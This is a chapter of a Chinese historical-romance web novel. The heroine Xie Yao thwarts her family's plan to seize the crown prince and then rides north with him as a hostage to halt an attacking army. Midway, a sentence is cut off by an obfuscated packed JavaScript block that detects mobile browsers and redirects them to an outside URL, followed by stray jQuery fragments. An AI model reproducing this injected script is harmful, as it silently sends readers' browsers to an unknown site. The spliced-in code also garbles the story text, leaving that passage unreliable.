谢杳没日没夜地照顾了元序三日，待他渐趋好转，她才安下心去休憩，这一折腾竟也过了小半月。


    时至新岁立春，元序已全然无恙，他不欲再耽搁，与江宁侯夫妇辞谢作别。


    临行前，谢弈月留他叙话，“子启，此一别或再无相见之日，万自珍重。”


    元序垂眸，轻轻点头，“姑姑……可有话要带给老师？”


    谢弈月微怔，笑着摇了摇头。


    “姑姑！”谢杳拽了拽她的衣袖。


    “小丫头，还轮不到你做姑姑的主。”谢弈月的目光扫过面前惆怅的二人，生了个有趣的念头，“昭昭，你送太子殿下出城。”


    她故意将“你送”二字念得很重。


    谢杳瞥了眼姑姑，知晓她的言外之意，便也不推脱，点头应下。


    谢弈月没了精神，在谢杳的搀扶下，慢慢躺好，又嘱咐道：“回来时，顺道替我去趟鸡鸣寺。”


    “遵命。”谢杳无奈地叹了口气，为她盖好被子。


    “子启少时受姑姑教导，心中感激，无以为报，今在此立誓，必倾尽全力护江宁侯府无虞。”元序躬身作揖，向谢弈月郑重道别，“姑姑，珍重。”


    谢弈月莞尔，抬手轻轻一挥，示意他们快些离去。


    她凝眸望着二人，直至他们的背影消失在视线之中，才缓缓闭上眼。


    马车驶离江宁侯府不过数十里，元序蓦地开口：“去鸡鸣寺。”


    “夜间行路不易，殿下别误了时辰。”谢杳劝道。


    “耽搁不了多久。”元序态度坚决。


    鸡鸣寺内，挤满了香客，全都一窝蜂地围在一棵菩提树下，翘首等待。


    谢杳和元序进完香，竟被拥挤的人流推搡上前，进退不得，只好耐着性子等着。


    有几位妇人在他们身后攀谈，这才知晓了原委，原是自昆仑来了位姓云的方士，占卜问卦灵验得很，引了不少人前来，求问运势、前程。


    谢杳迎上元序的目光，会心一笑，他们皆是不信这些的，不过等都等了，听听也无妨。


    到他们时，那方士竟连问也不问，直接起卦，初时他面含笑意，后又摇了摇头，神情惋惜。


    “二位请随我进殿一叙。”


    那方士引着他们进了偏殿，屏退了其余一众香客，才缓缓开口：“二位皆是人中龙凤，紫薇照命之相。”


    谢杳心头一震，紫薇照命，乃是帝王之相，元序不足为奇，可她为何会？


    “上承于天，南北裨益，福及寰宇。”那方士顿了顿，“只是……”


    “只是如何？”元序接过话来。


    “只是二位命中，俱无红鸾。”


    谢杳付之一笑，“劳烦大师了。”


    那方士向他们见礼，退出殿外。


    元序眸中闪过一丝不易察觉的失落，很快又恢复如常，“走吧。”


    谢杳点了点头。


    “阿姊——”


    二人刚一出寺，恰巧撞上了匆忙来寻谢杳的小满。


    “姑姑病重，夫人请你速速回去。”


    “殿下，我只能送你到这儿了。”


    言罢，谢杳便要转身离开，却被元序拽住。


    他望向小满，“下马！”


    小满会意，极快地跃下马。


    不待谢杳劝阻，元序便拉着她跃上马，扬鞭离去。


    二人还未来得及进府，便被前来送信的信使拦下。


    谢杳接过信，边走边打开信笺，信的内容很短，只有寥寥数语：


    方中缺一味当归，马蔺子或可替之，再辅以防风、王不留行，保管药到病除。


    “不好！”


    谢杳顾不得元序，撇下他疾步跑向书房。


    她推门进去，立时愣住，书房内除却双亲，还有她的外祖、二叔父，定远侯，以及江南各州府的刺史，皆坐于屋内。


    棠梨极快掩上门，守在门外张望着，舒了口气，幸好太子殿下没有跟来。


    谢杳一一见礼，走到父亲身侧，将信递给他，“自长安的来信，想必是月见阿姊。”


    高燕使了个眼色，谢杳会意，与她并肩走到角落，“太子出城了？”


    谢杳蹙眉，轻轻摇头。


    高燕瞋目，“太子还在府内？”


    此言一出，举座哗然。


    “众位若再不噤声，殿下想不发现都难。”谢杳神情一敛，“父亲、母亲这是何意？”


    “外孙女，事到如今，江南不得不聚而自保。”


    “报——”


    一声通传，打断了屋内的议事。


    “禀侯爷，城外大军压境，似是要攻城！”


    谢杳悄悄移向门边，心中暗自思量着应对之策，南境自立势在必行，却不该是眼下所为，大军压境，双方交战受苦的只会是百姓，可如若不然，兵不血刃之法惟有……挟太子以令三军。


    她心下一横，趁机溜出门去，反手将腰间软剑横于门环间，又将短刃用力插于窗牖下方的木轴处。


    “小姐，你这是作甚？”


    谢杳不答，反手将棠梨的手臂一扣，抽出她腰间的软剑，扬声道：“小满，去姑姑那儿，将太子殿下带出府。”


    “阿姊？”


    “照我说的做！”


    小满颔首，转身跑开。


    谢杳话音刚落，窗牖便被人用刀划破，高燕的面容露出一半，她声色俱厉：“昭昭，休要胡闹，把门打开！”


    “恕女儿不能应允，南境自立，当清白于世，绝不能走那旁门左道。”谢杳跪地叩头，“女儿自有法子，解江南之困，请父亲、母亲放心。”


    她转而望向棠梨，“待我走后，看住屋内的人，若是少了一个，唯你是问。”


    言罢，她跃上屋檐，没了踪迹。


    棠梨卸了力，跌坐在地上，她不怪小姐此行不让她护卫，毕竟，是她欺瞒小姐在先。


    撞门声接连不休，伴着呼喊的人声，无一不是命她开门。


    棠梨攥紧手心，这一次，她绝不会再辜负小姐的信任，“侯爷、夫人，诸位大人，棠梨受小姐所托，绝不能开门放各位出去，还请各位安心歇下，莫要驳了小姐的好意。”


    谢杳很快追上了元序一行的马车，元序见她前来，立刻开口：“姑姑无事。”


    她神色微动，本以为他会开口质问，却不想说了这么一句话。


    “事出紧急，只好携殿下匆匆上路。”谢杳言辞恳切，“秦家军半路被劫，殿下又迟迟未归，圣上不得音讯，故而再次出兵，如今兵临城下，还需殿下相助。”


    “你要只身入局？”元序直截了当，将她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987063|161011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的心思点破。


    谢杳坦然一笑，也不辩驳。


    “何不依令尊、令堂之意？”元序目光真挚，“这样，总好过你以身犯险。”


    “谁又知权宜之计，来日会否覆水难收呢？”谢杳态度坚决，“我不愿牵及无辜之人，却也不能弃家人和江南百姓于不顾，惟有此法可得两全。”


    元序不再作声，经此一遭，他方才全然看清她的心意，昭昭本可将他这个大晟太子推出去，换这半壁江山，却偏要费力走那崎岖弯路，只为保全他的性命。


    他暗自筹谋，昭昭既想用一己之身来换这天下安宁，那他便来护着她，护她心愿得偿。


    守城的将士就快抵挡不住时，谢杳与元序及时赶到，城门缓缓打开，她与他策马出了城外。


    “孤乃大晟太子，尔等速速退兵！”


    阵前的将士停下攻势，都默默望向主将，听候军令。


    “殿下，臣奉陛下旨意，诛杀逆党。”


    “真正欲谋反之人是薛凌寒，他谋害公主和驸马，扣下二皇子，假借江南动乱混淆视听，以遮掩他弑帝拜相的野心。”


    谢杳随后开口：“在下江宁侯府谢杳，愿为人质，同诸位一道北上，探清真相。”


    主将若有所思，退兵而归，虽是违逆圣意，可若不然，长安兵力空虚，薛氏反贼势如破竹，恐有灭国之难，孰轻孰重，他分得清。


    “众将士听令，退兵！”


    “小满，你回去。”


    “阿姊，我怎能抛下你一人回府？”小满拽住马上的缰绳，不肯放手。


    元序策马到马车跟前，“阿策，你留下。”


    “殿下……”


    “你本就是江宁侯府之人，总要落叶归根。”元序神情严肃，不容置喙。


    “长安局势不明，危机四伏，我去了也好保护殿下和阿姊。”


    “正因如此，孤才要你留在江宁，你们去了，反倒叫孤二人分心。”元序俯身拍了拍他的肩膀，“放心，孤定会保护好你阿姊，待一切结束后，你的去留，再由她亲自定夺。”


    谢杳狠下心，用力推开小满，策马离去。


    元序见状，扬鞭追上谢杳，“我也将阿策留在江宁了。”


    “殿下思虑周全。”


    段策扶起地上瘫坐着的小满，为她掸掉衣衫上的尘土，安慰她道：“小满勿忧，殿下和阿姊都是顶厉害的人，定会逢凶化吉、安然无恙的。”


    小满泪眼朦胧，难掩忧惧，“可阿姊的伤才刚痊愈啊！”


    黑云卷积，狂风大作，瓢泼大雨随之而至。


    还有两日，便是她的生辰了，好雨知时节，这是江南在送她。


    “殿下披好蓑衣，莫要再染了风寒！”谢杳朝着策马在前的元序喊道。


    元序回头望向她，颔首示意。


    烟雨涳濛，氤氲了江南锦绣，让人瞧不真切。


    谢杳收回思绪，此番北上，她不为入京正名，帝王凉薄，做再多亦是无用之功，国朝积弊，南北一统已不合时宜，她早将前路看清。


    治国有常，而利民为本，民为贵，社稷次之，君为轻，这才是她所信奉的道。


    天理昭彰，有冤之人，不能含冤而终；有罪之人，不能逍遥于世。她必会亲手手刃薛凌寒，以祭这世间无辜枉死的英灵。